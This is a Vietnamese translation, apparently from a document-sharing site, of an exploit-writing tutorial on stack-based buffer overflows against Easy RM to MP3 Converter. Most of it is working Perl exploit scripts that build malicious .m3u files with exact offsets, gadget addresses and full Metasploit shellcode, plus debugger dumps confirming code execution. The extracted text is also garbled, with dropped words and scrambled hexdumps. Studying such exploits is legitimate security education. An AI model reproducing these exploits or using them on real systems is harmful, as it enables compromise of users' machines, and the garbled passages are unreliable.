ebook viet code khaithac exploit 2

31 282 0
ebook viet code khaithac exploit 2

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

Thông tin tài liệu

ebook viet code khaithac exploit 2 ebook viet code khaithac exploit 2 ebook viet code khaithac exploit 2 ebook viet code khaithac exploit 2 ebook viet code khaithac exploit 2 ebook viet code khaithac exploit 2 ebook viet code khaithac exploit 2 ebook viet code khaithac exploit 2 ebook viet code khaithac exploit 2 ebook viet code khaithac exploit 2 ebook viet code khaithac exploit 2 ebook viet code khaithac exploit 2 ebook viet code khaithac exploit 2 ebook viet code khaithac exploit 2 ebook viet code khaithac exploit 2 ebook viet code khaithac exploit 2 ebook viet code khaithac exploit 2 ebook viet code khaithac exploit 2 ebook viet code khaithac exploit 2 ebook viet code khaithac exploit 2 ebook viet code khaithac exploit 2

5T4 – Private Only Exploit writing tutorial part : Stack Based Overflows – jumping to shellcode Ở phần trước trình bày cách để tìm kiếm lỗ hổng cách để xây dựng exploit hoạt động Trong ví dụ đó, thấy ESP trỏ trực tiếp đến điểm bắt đầu buffer ( phải thêm 4bytes để ESP trỏ trực tiếp tới shell code) sử dụng “jmp esp” shell code chạy Lưu ý: Phần hai viết nối tiếp phần một, nên dành thời gian để đọc hiểu đầy đủ phần trước đọc phần hai Chúng ta thấy việc sử dụng “jmp esp” kịch hoàn hảo Điều không dễ hoàn cảnh Hôm trình bày số cách để execute/jump tới shell code Cuối trình bày cách bạn phải xử lý đối mặt với trường hợp kích thước buffer nhỏ Có nhiều phương pháp để buộc phải thực thi shellcode, là: Jump ( call) ghi trỏ trực tiếp đến shellcode Với kỹ thuật này, bạn sử dụng ghi có chứa địa trỏ tới nơi chứa shellcode đặt địa vào EIP Bạn cố gắng tìm opcode “jum” “call” tới ghi có dll file ứng dụng chạy Khi bạn tạo payload, thay ghi đè EIP tới địa nhớ, bạn ghi đè địa chứa lệnh “jum to register” Đương nhiên, phương pháp hoạt động tốt mà ghi chứa địa trỏ tới shellcode Đây cách mà sử dụng phần nên không nói Pop return: ghi trỏ trực tiếp tới địa chỉ, bạn thấy địa stack ( nằm đầu tiên, thứ hai…) trỏ tới shellcode, bạn tải vào EIP, pop ret, pop pop ret thứ hai, pop pop pop pop ret phụ thuộc vào vị trí nằm stack Push return: phương pháp khác so với phương pháp “call to register”, bạn tìm thấy opcode “call register” “jump register”, bạn push địa vào stack tiến hành ret Do đó, bạn cần tìm push register theo sau ret Nếu tìm chuỗi này, địa thực thi Author : Hà Bách Nam and Nguyễn Kim Thụy 5T4 – Private Only chuỗi này, ghi đè EIP với địa tìm jmp [reg + offset] : ghi trỏ đến stack chứa shellcode, không trỏ trực tiếp tới điểm bắt đầu shellcode, bạn nên có gắng tìm lệnh OS dll mà thêm bytes cần thiết vào ghi tiến hành jump Tôi gọi phương pháp jmp [reg + offset] blind return : Trong viết trước đây, ESP trỏ đến vị trí đỉnh stack hành Một lệnh RET thực thi thực lệnh pop giá trị cuối ( 4bytes) từ stack đặt địa vào EIP Vậy bạn ghi đè EIP địa thực hệnh lệnh RET, bạn mang địa ESP vào EIP Nếu bạn phải đối mặt với trường hợp không gian nhớ có sẵn buffer bị giới hạn sau EIP bị ghi đè lên, lại có nhiều không gian trước ghi đè ESP, bạn sử dụng lệnh jump phần buffer nhỏ để nhảy đầu buffer, nơi chứa main shellcode SEH: Mọi ứng dụng để có xử lý ngoại lệ mặc định cung cấp OS Vì ứng dụng không sử dụng xử lý ngoại lệ, bạn thử ghi đè lên phần xử lý SEH địa bạn làm nhảy tới shellcode bạn Sử dụng SEH làm cho exploit trở nên tin cậy nhiều tảng Windows, đòi hỏi nhiều kỹ trước bắt đầu lợi dụng SEH để xây dựng exploit Ý tưởng giả sử bạn xây dựng exploit không hoạt động OS cho, phần payload gây crash ứng dụng, kích hoạt ngoại lệ ( trigger) Vì bạn kết hợp exploit thông thường với SEH exploit thành exploit tin cậy Phần ba loại tutorial nói SEH exploit Chỉ cần nhớ rằng, đặc điểm điển hình stack based overflow ghi đè lên EIP, có khả gọi tới SEH exploit cho phép tin cậy hơn, buffer có kích thước lớn Các kỹ thuật sử dụng tài liệu ví dụ Mục tiêu cho bạn thấy rằng, có nhiều cách để nhảy đến shellcode, trường hợp có cách ( kết hợp nhiều kỹ thuật) để làm cho đoạn mã bạn chạy Có thể có nhiều phương pháp để làm cho exploit chạy chạy cách tin cậy Nhưng bạn nắm kỹ sử dụng đây, sử dụng trường hợp thông thường, bạn tìm cách giải hầu hết vấn đề cố tìm cách nhảy đến shellcode bạn Ngay Author : Hà Bách Nam and Nguyễn Kim Thụy 5T4 – Private Only kỹ thuật làm việc được, shellcode không muốn chạy, bạn thử với việc mã hóa encode shellcode, di chuyển shellcode xa tý đặt NOP bytes trước Đây tất thứ giúp bạn hoàn thành công việc Tất nhiên, hoàn toàn lỗ hổng dẫn tới việc crash, không exploit Bây thực kỹ thuật liệt kê call [reg] Nếu ghi chứa địa trỏ trực tiếp tới shellcode, bạn sử dụng call [reg] jump trực tiếp đến shellcode Nói cách khác, ESP trỏ trực tiếp vào shellcode ( nên bytes shellcode bytes ESP) bạn ghi đè EIP với địa chứa lệnh “call esp”, shellcode thực thi Điều làm việc với tất ghi thư viện kernel32.dll chứa nhiều địa chứa call [reg] Quick example : giả sử ESP trỏ trực tiếp đến shellcode, tìm opcode có chứa “call esp” Chúng ta sử dụng findjmp: findjmp.exe kernel32.dll esp Findjmp, Eeye, I2S-LaB Findjmp2, Hat-Squad Scanning kernel32.dll for code useable with the esp register 0x7C836A08 call esp 0x7C874413 jmp esp Finished Scanning kernel32.dll for code useable with the esp register Found usable addresses Tiếp theo, ghi đè EIP với địa 0x7C836A08 Trong ví dụ trước, với Easy RM to MP3, biết trỏ ESP tới shellcode cách thêm ký tự EIP ESP, exploit sau: my $file= "test1.m3u"; my $junk= "A" x 26094; my $eip = pack('V',0x7C836A08); #overwrite EIP with call esp my $prependesp = "XXXX"; #add bytes so ESP points at beginning of shellcode bytes my $shellcode = "\x90" x 25; # # # # #start shellcode with some NOPS windows/exec - 303 bytes http://www.metasploit.com Encoder: x86/alpha_upper EXITFUNC=seh, CMD=calc $shellcode = $shellcode "\x89\xe2\xda\xc1\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49" "\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" "\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" "\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" "\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a" "\x48\x50\x44\x43\x30\x43\x30\x45\x50\x4c\x4b\x47\x35\x47" Author : Hà Bách Nam and Nguyễn Kim Thụy 5T4 – Private Only "\x4c\x4c\x4b\x43\x4c\x43\x35\x43\x48\x45\x51\x4a\x4f\x4c" "\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x47\x50\x43\x31\x4a" "\x4b\x51\x59\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e\x50" "\x31\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x43\x44\x43" "\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4a" "\x54\x47\x4b\x51\x44\x46\x44\x43\x34\x42\x55\x4b\x55\x4c" "\x4b\x51\x4f\x51\x34\x45\x51\x4a\x4b\x42\x46\x4c\x4b\x44" "\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x4c" "\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\x4c\x47" "\x54\x43\x34\x48\x43\x51\x4f\x46\x51\x4b\x46\x43\x50\x50" "\x56\x45\x34\x4c\x4b\x47\x36\x50\x30\x4c\x4b\x51\x50\x44" "\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x45\x38\x43" "\x38\x4b\x39\x4a\x58\x4c\x43\x49\x50\x42\x4a\x50\x50\x42" "\x48\x4c\x30\x4d\x5a\x43\x34\x51\x4f\x45\x38\x4a\x38\x4b" "\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4d\x37\x42\x43\x45" "\x31\x42\x4c\x42\x43\x45\x50\x41\x41"; open($FILE,">$file"); print $FILE $junk.$eip.$prependesp.$shellcode; close($FILE); print "m3u File Created successfully\n"; pwned ! pop ret Author : Hà Bách Nam and Nguyễn Kim Thụy 5T4 – Private Only Trong ví dụ Easy RM to MP3, hoàn toàn tinh chỉnh để ESP trỏ trực tiếp tới shellcode Vậy ghi trỏ tới shellcode Vâng, trường hợp này, địa trỏ tới shellcode nằm stack Nếu bạn dump esp, nhìn vào địa Nếu địa trỏ tới shellcode ( buffer bạn điều khiển được), bạn tìm pop ret pop pop ret Lấy địa stack Nhảy đến địa bạn đưa bạn tới shellcode Kỹ thuật pop ret có tác dụng ESP+offset chứa địa trỏ tới shellcode Vì vậy, dump ESP, địa trỏ tới shellcode, đặt tham chiếu tới pop ret ( pop pop ret) EIP Điều làm số địa stack ( địa cho lần pop) đưa địa vào EIP Nếu số trỏ tới shellcode, bạn thành công Trường hợp thứ hai sử dụng pop ret: điều bạn kiểm soát EIP, ghi trỏ tới shellcode, shellcode bạn thấy ESP+8 Trong trường hợp này, bạn đặt pop pop ret vào EIP, nhảy tới ESP+8 Hãy xây dựng thử nghiệm Chúng ta có 26094 bytes trước ghi đè EIP, cần 4bytes trước vị trí ESP trỏ tới (trong trường hợp tôi, 0x000ff730) Chúng ta mô ESP+8, có địa trỏ tới shellcode ( thực tế đặt shellcode sau đó, nhắc lại thử nghiệm) 26094 A, XXXX ( kết thúc nơi ESP trỏ tới), break, tiếp đến NOP, break, nhiều NOP Giả sử shellcode break thứ hai Mục đích nhảy từ break tới tới break thứ hai, ESP+8 0x000ff738 my $file= "test1.m3u"; my $junk= "A" x 26094; my $eip = "BBBB"; #overwrite EIP my $prependesp = "XXXX"; #add bytes so ESP points at beginning of shellcode bytes my $shellcode = "\xcc"; #first break $shellcode = $shellcode "\x90" x 7; #add more bytes $shellcode = $shellcode "\xcc"; #second break $shellcode = $shellcode "\x90" x 500; #real shellcode open($FILE,">$file"); print $FILE $junk.$eip.$prependesp.$shellcode; Author : Hà Bách Nam and Nguyễn Kim Thụy 5T4 – Private Only close($FILE); print "m3u File Created successfully\n"; Nhìn vào stack, ứng dụng bị crash buffer overflow EIP bị ghi đè BBBB ESP trỏ tới 000ff730, bắt đầu với break đầu tiên, tiếp đến NOP, thấy break thứ hai, nơi thực bắt đầu shellcode ( địa 0x000ff738) eax=00000001 ebx=00104a58 ecx=7c91005d edx=00000040 esi=77c5fce0 edi=000067fa eip=42424242 esp=000ff730 ebp=00344200 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 Missing image name, possible paged-out or corrupt data Missing image name, possible paged-out or corrupt data Missing image name, possible paged-out or corrupt data +0x42424231: 42424242 ?? ??? 0:000> d esp 000ff730 cc 90 90 90 90 90 90 90-cc 90 90 90 90 90 90 90 000ff740 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 000ff750 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 000ff760 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 000ff770 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 000ff780 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 000ff790 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 000ff7a0 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 0:000> d 000ff738 000ff738 cc 90 90 000ff748 90 90 90 000ff758 90 90 90 000ff768 90 90 90 000ff778 90 90 90 000ff788 90 90 90 000ff798 90 90 90 000ff7a8 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90-90 90-90 90-90 90-90 90-90 90-90 90-90 90-90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 Mục đích lấy giá trị ESP+8 vào EIP, làm cho nhảy đến shellcode Chúng ta sử dụng kỹ thuật pop ret địa jmp esp để hoàn thành Một lệnh pop lấy 4bytes stack, ESP trỏ tới 000ff734 Chạy lệnh pop nữa, lấy tiếp 4bytes nữa, ESP trỏ tới 000ff738 Khi lệnh ret thực thi, giá trị ESP đưa vào EIP Cho nên giá trị 000ff738 chứa địa lệnh jmp esp, EIP làm Buffer sau 000ff738 chứa shellcode Chúng ta cần tìm pop,pop,ret nơi đó, ghi đè EIP địa lệnh chuỗi lệnh Và phải thiếp lập ESP+8 trỏ đến địa jmp esp, theo sau shellcode Trước tiên phải biết opcode pop pop ret Chúng ta sử dụng chức assembly windbg để thực hiện: 0:000> a 7c90120e pop eax pop eax 7c90120f pop ebp pop ebp Author : Hà Bách Nam and Nguyễn Kim Thụy 5T4 – Private Only 7c901210 ret ret 7c901211 0:000> u 7c90120e ntdll!DbgBreakPoint: 7c90120e 58 7c90120f 5d 7c901210 c3 7c901211 ffcc 7c901213 c3 7c901214 8bff 7c901216 8b442404 7c90121a cc pop pop ret dec ret mov mov int eax ebp esp edi,edi eax,dword ptr [esp+4] Cho nên pop pop ret có opcode 0×58,0x5d,0xc3 Đương nhiên, sử dụng opcode khác, ví opcode sau đây: Bây phải tìm chuỗi opcode dll có sẵn Trong phần nói dll ứng dụng so với dll hệ điều hành Theo đó, khuyến cáo sử dụng dll ứng dụng làm tăng tính tin cậy, tránh phụ thuộc vào phiên windows Nhưng bạn cần chắn dll sử dụng địa lúc Đôi khi, dll rebase trường hợp tốt sử dụng dll OS user32.dll kernel32.dll Mở Easy RM to MP3 ( không mở cả) đính kèm windbg vào tiến trình chạy Windbg hiển thị module load, gồm OS modules module ứng dụng ( tìm dòng bắt đầu với ModLoad) Đây vài dll ứng dụng: ModLoad: ModLoad: ModLoad: ModLoad: 00ce0000 01a90000 00c80000 01b10000 00d7f000 01b01000 00c87000 01fdd000 C:\Program C:\Program C:\Program C:\Program Files\Easy Files\Easy Files\Easy Files\Easy RM RM RM RM to to to to MP3 MP3 MP3 MP3 Converter\MSRMfilter01.dll Converter\MSRMCcodec00.dll Converter\MSRMCcodec01.dll Converter\MSRMCcodec02.dll Bạn nên hạn chế sử dụng địa chứa null bytes làm việc exploit trở nên khó khăn Tìm kiếm MSRMCcodec00.dll cho ta số kết quả: 0:014> s 01a90000 l 01b01000 58 5d c3 01ab6a10 58 5d c3 33 c0 5d c3 55-8b ec 51 51 dd 45 08 dc 01ab8da3 58 5d c3 8d 4d 08 83 65-08 00 51 6a 00 ff 35 6c X].3.].U QQ.E X] M e Qj 5l Author : Hà Bách Nam and Nguyễn Kim Thụy 5T4 – Private Only 01ab9d69 58 5d c3 6a 02 eb f9 6a-04 eb f5 b8 00 02 00 00 X].j j Giờ nhảy tới ESP+8 Ở vị trí đó, ta cần đặt địa tới jmp esp ( nói, sau RET, lấy địa đặt vào EIP Tại thời điểm đó, ESP trỏ tới shellcode nằm sau địa jmp esp) Trong phần thấy 0x01ccf23a trỏ tới jmp esp Quay trở lại perl script chúng ta, thay BBBB ghi đè EIP địa pop,pop,ret, theo sau 8bytes NOP ( mô ESP+8), tiếp đến địa jmp esp tiếp đến shellcode Buffer sau: [AAAAAAAAAAA AA][0x01ab6a10][NOPNOPNOPNOPNOPNOPNOPNOP][0x01ccf23a][Shellcode] 26094 A's EIP bytes offset JMP ESP (=POPPOPRET) Tiến trình exploit sau: 10 11 12 13 EIP bị ghi đè POP POP RET, ESP trỏ tới byte bytes offset POP POP RET thực thi EIP lấy địa 0x01ccf23a ESP+8, ESP trỏ tới shellcode EIP bị ghi đè địa tới jmp esp, lần nhảy thứ hai thực shellcode chạy -| |(1) | | | ESP points here (1) | | | V [AAAAAAAAAAA AA][0x01ab6a10][NOPNOPNOPNOPNOPNOPNOPNOP][0x01ccf23a][Shellcode] 26094 A's EIP bytes offset JMP ESP ^ (=POPPOPRET) | | (2) | | ESP now points here (2) Chúng ta mô với break số NOP shellcode Do đó, chúng nhảy làm việc tốt my $file= "test1.m3u"; my $junk= "A" x 26094; my $eip = pack('V',0x01ab6a10); #pop pop ret from MSRMfilter01.dll my $jmpesp = pack('V',0x01ccf23a); #jmp esp my $prependesp = "XXXX"; #add bytes so ESP points at beginning of shellcode bytes my $shellcode = "\x90" x 8; #add more bytes $shellcode = $shellcode $jmpesp; #address to return via pop pop ret ( = jmp esp) $shellcode = $shellcode "\xcc" "\x90" x 500; #real shellcode open($FILE,">$file"); print $FILE $junk.$eip.$prependesp.$shellcode; close($FILE); print "m3u File Created successfully\n"; (d08.384): Break instruction exception - code 80000003 (!!! second chance !!!) Author : Hà Bách Nam and Nguyễn Kim Thụy 5T4 – Private Only eax=90909090 ebx=00104a58 ecx=7c91005d edx=00000040 esi=77c5fce0 edi=000067fe eip=000ff73c esp=000ff73c ebp=90909090 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 Missing image name, possible paged-out or corrupt data Missing image name, possible paged-out or corrupt data Missing image name, possible paged-out or corrupt data +0xff72b: 000ff73c cc int 0:000> d esp 000ff73c cc 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 000ff74c 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 000ff75c 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 000ff76c 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 000ff77c 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 000ff78c 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 000ff79c 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 000ff7ac 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 Nó làm việc, thay NOP sau jmp esp (ESP+8) với shellcode thực ( số NOP shellcode với mã hóa alpha_upper) my $file= "test1.m3u"; my $junk= "A" x 26094; my $eip = pack('V',0x01ab6a10); #pop pop ret from MSRMfilter01.dll my $jmpesp = pack('V',0x01ccf23a); #jmp esp my $prependesp = "XXXX"; #add bytes so ESP points at beginning of shellcode bytes my $shellcode = "\x90" x 8; #add more bytes $shellcode = $shellcode $jmpesp; #address to return via pop pop ret ( = jmp esp) $shellcode = $shellcode "\x90" x 50; #real shellcode # windows/exec - 303 bytes # http://www.metasploit.com # Encoder: x86/alpha_upper # EXITFUNC=seh, CMD=calc $shellcode = $shellcode "\x89\xe2\xda\xc1\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49" "\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" "\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" "\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" "\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a" "\x48\x50\x44\x43\x30\x43\x30\x45\x50\x4c\x4b\x47\x35\x47" "\x4c\x4c\x4b\x43\x4c\x43\x35\x43\x48\x45\x51\x4a\x4f\x4c" "\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x47\x50\x43\x31\x4a" "\x4b\x51\x59\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e\x50" "\x31\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x43\x44\x43" "\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4a" "\x54\x47\x4b\x51\x44\x46\x44\x43\x34\x42\x55\x4b\x55\x4c" "\x4b\x51\x4f\x51\x34\x45\x51\x4a\x4b\x42\x46\x4c\x4b\x44" "\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x4c" "\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\x4c\x47" "\x54\x43\x34\x48\x43\x51\x4f\x46\x51\x4b\x46\x43\x50\x50" "\x56\x45\x34\x4c\x4b\x47\x36\x50\x30\x4c\x4b\x51\x50\x44" "\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x45\x38\x43" "\x38\x4b\x39\x4a\x58\x4c\x43\x49\x50\x42\x4a\x50\x50\x42" "\x48\x4c\x30\x4d\x5a\x43\x34\x51\x4f\x45\x38\x4a\x38\x4b" "\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4d\x37\x42\x43\x45" "\x31\x42\x4c\x42\x43\x45\x50\x41\x41"; open($FILE,">$file"); print $FILE $junk.$eip.$prependesp.$shellcode; close($FILE); print "m3u File Created successfully\n"; Author : Hà Bách Nam and Nguyễn Kim Thụy 5T4 – Private Only pwned ! push return push ret tương tự cal [reg] Nếu có ghi trỏ trực tiếp tới shellcode bạn, lý sử dụng jmp [reg] để nhảy tới shellcode, bạn có thể: đặt địa ghi vào stack, nằm đỉnh stack ret ( lấy địa stack nhảy tới đó) Để làm việc này, bạn cần ghi đè EIP địa chuỗi push [reg] ret thư viện dll Giả sử ESP trỏ trực tiếp vào shellcode, bạn cần tìm opcode push esp, theo sau opcode ret 0:000> a 000ff7ae push esp push esp 000ff7af ret ret 0:000> u 000ff7ae +0xff79d: 000ff7ae 54 push 000ff7af c3 ret esp Opcode có trình tự 0×54,0xc3 Tiến hành tìm chuỗi opcode này: 0:000> s 01a90000 l 01dff000 54 c3 01aa57f6 54 c3 90 90 90 90 90 90-90 90 8b 44 24 08 85 c0 T D$ Author : Hà Bách Nam and Nguyễn Kim Thụy 10 5T4 – Private Only Sử dụng metasploit pattern_offset utility, thấy ký tự offset 257 Như thay đưa 26094 A, đưa 257 A, shellcode chúng ta, phần lại A Thậm chí tốt bắt đầu với 250 A, 50 NOP, shellcode chúng ta, A Nếu đặt NOP trước shellcode, làm việc tốt Perl script sau: my $file= "test1.m3u"; my $buffersize = 26094; my $junk= "A" x 250; my $nop = "\x90" x 50; my $shellcode = "\xcc"; my $restofbuffer = "A" x ($buffersize-(length($junk)+length($nop)+length($shellcode))); my $eip = "BBBB"; my $preshellcode = "X" x 54; #let's pretend this is the only space we have available my $nop2 = "\x90" x 230; #added some nops to visually separate our 54 X's from other data my $buffer = $junk.$nop.$shellcode.$restofbuffer; print "Size of buffer : ".length($buffer)."\n"; open($FILE,">$file"); print $FILE $buffer.$eip.$preshellcode.$nop2; close($FILE); print "m3u File Created successfully\n"; Khi application dies, thấy 50 NOPs 000ff848, shellcode (0x90 000ff874), sau lần A Có vẻ tốt đẹp (188.c98): Access violation - code c0000005 (!!! second chance !!!) eax=00000001 ebx=00104a58 ecx=7c91005d edx=00000040 esi=77c5fce0 edi=00006715 eip=42424242 esp=000ff730 ebp=003440c0 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 Missing image name, possible paged-out or corrupt data Missing image name, possible paged-out or corrupt data Missing image name, possible paged-out or corrupt data Author : Hà Bách Nam and Nguyễn Kim Thụy 17 5T4 – Private Only +0x42424231: 42424242 ?? ??? 0:000> d esp 000ff730 58 58 58 58 58 58 58 000ff740 58 58 58 58 58 58 58 000ff750 58 58 58 58 58 58 58 000ff760 58 58 90 90 90 90 90 000ff770 90 90 90 90 90 90 90 000ff780 90 90 90 90 90 90 90 000ff790 90 90 90 90 90 90 90 000ff7a0 90 90 90 90 90 90 90 0:000> d 000ff7b0 90 90 90 90 90 90 90 000ff7c0 90 90 90 90 90 90 90 000ff7d0 90 90 90 90 90 90 90 000ff7e0 90 90 90 90 90 90 90 000ff7f0 90 90 90 90 90 90 90 000ff800 90 90 90 90 90 90 90 000ff810 90 90 90 90 90 90 90 000ff820 90 90 90 90 90 90 90 0:000> d 000ff830 90 90 90 90 90 90 90 000ff840 90 90 90 90 90 90 90 000ff850 90 90 90 90 90 90 90 000ff860 90 90 90 90 90 90 90 000ff870 90 90 90 90 cc 41 41 000ff880 41 41 41 41 41 41 41 000ff890 41 41 41 41 41 41 41 000ff8a0 41 41 41 41 41 41 41 58-58 58-58 58-58 90-90 90-90 90-90 90-90 90-90 58 58 58 90 90 90 90 90 58 58 58 90 90 90 90 90 58 58 58 90 90 90 90 90 58 58 58 90 90 90 90 90 58 58 58 90 90 90 90 90 58 58 58 90 90 90 90 90 58 58 58 90 90 90 90 90 XXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXX XX 90-90 90-90 90-90 90-90 90-90 90-90 90-90 90-90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90-90 90-00 90-90 90-90 41-41 41-41 41-41 41-41 90 90 90 90 41 41 41 41 90 90 90 90 41 41 41 41 90 90 90 90 41 41 41 41 90 90 90 90 41 41 41 41 90 90 90 90 41 41 41 41 90 90 90 90 41 41 41 41 90 90 90 90 41 41 41 41 .AAAAAAAAAAA AAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA Điều thứ hai cần làm xây dựng jump code Mục tiêu jump code để nhảy ESP+281 Nhảy ESP+281 yêu cầu: Add 281 vào ghi ESP, sau jump esp 281 = 119h Đừng cố gắng cho tất vào lệnh, opcode có null bytes Vì có NOP phía trước, nên không cần thiết phải xác hoàn hảo Miễn thêm 281 ( hơn), làm việc Có 50bytes cho jump code, vấn đề Tiến hành thêm 0x5e (94) lần, sau jump to esp, mã assemly là: add esp,0x5e add esp,0x5e add esp,0x5e jmp esp Sử dụng Windbg để lấy opcode: 0:014> a 7c901211 add add esp,0x5e 7c901214 add add esp,0x5e 7c901217 add add esp,0x5e 7c90121a jmp jmp esp 7c90121c esp,0x5e esp,0x5e esp,0x5e esp Author : Hà Bách Nam and Nguyễn Kim Thụy 18 5T4 – Private Only 0:014> u 7c901211 ntdll!DbgBreakPoint+0x3: 7c901211 83c45e 7c901214 83c45e 7c901217 83c45e 7c90121a ffe4 add add add jmp esp,5Eh esp,5Eh esp,5Eh esp Opcode cho jump code 0x83,0xc4,0x5e,0x83,0xc4,0x5e,0x83,0xc4,0x5e,0xff,0xe4 là: my $file= "test1.m3u"; my $buffersize = 26094; my $junk= "A" x 250; my $nop = "\x90" x 50; my $shellcode = "\xcc"; #position 300 my $restofbuffer = "A" x ($buffersize-(length($junk)+length($nop)+length($shellcode))); my $eip = "BBBB"; my $preshellcode = "X" x 4; my $jumpcode = "\x83\xc4\x5e" "\x83\xc4\x5e" "\x83\xc4\x5e" "\xff\xe4"; my $nop2 = "0x90" x 10; #add #add #add #jmp esp,0x5e esp,0x5e esp,0x5e esp # only used to visually separate my $buffer = $junk.$nop.$shellcode.$restofbuffer; print "Size of buffer : ".length($buffer)."\n"; open($FILE,">$file"); print $FILE $buffer.$eip.$preshellcode.$jumpcode; close($FILE); print "m3u File Created successfully\n"; jumpcode đặt ESP Khi gọi, ESP trỏ đến NOPS ( 00ff842 000ff873) Shellcode bắt đầu 000ff874 (45c.f60): Access violation - code c0000005 (!!! second chance !!!) eax=00000001 ebx=00104a58 ecx=7c91005d edx=00000040 esi=77c5fce0 edi=00006608 eip=42424242 esp=000ff730 ebp=003440c0 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 Missing image name, possible paged-out or corrupt data Missing image name, possible paged-out or corrupt data Missing image name, possible paged-out or corrupt data +0x42424231: 42424242 ?? ??? 0:000> d esp 000ff730 83 c4 5e 83 c4 5e 83 c4-5e ff e4 00 01 00 00 00 ^ ^ ^ 000ff740 30 f7 0f 00 00 00 00 00-41 41 41 41 41 41 41 41 .AAAAAAAA 000ff750 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ff760 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ff770 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ff780 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ff790 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ff7a0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0:000> d 000ff7b0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ff7c0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ff7d0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ff7e0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ff7f0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ff800 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ff810 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ff820 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0:000> d 000ff830 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 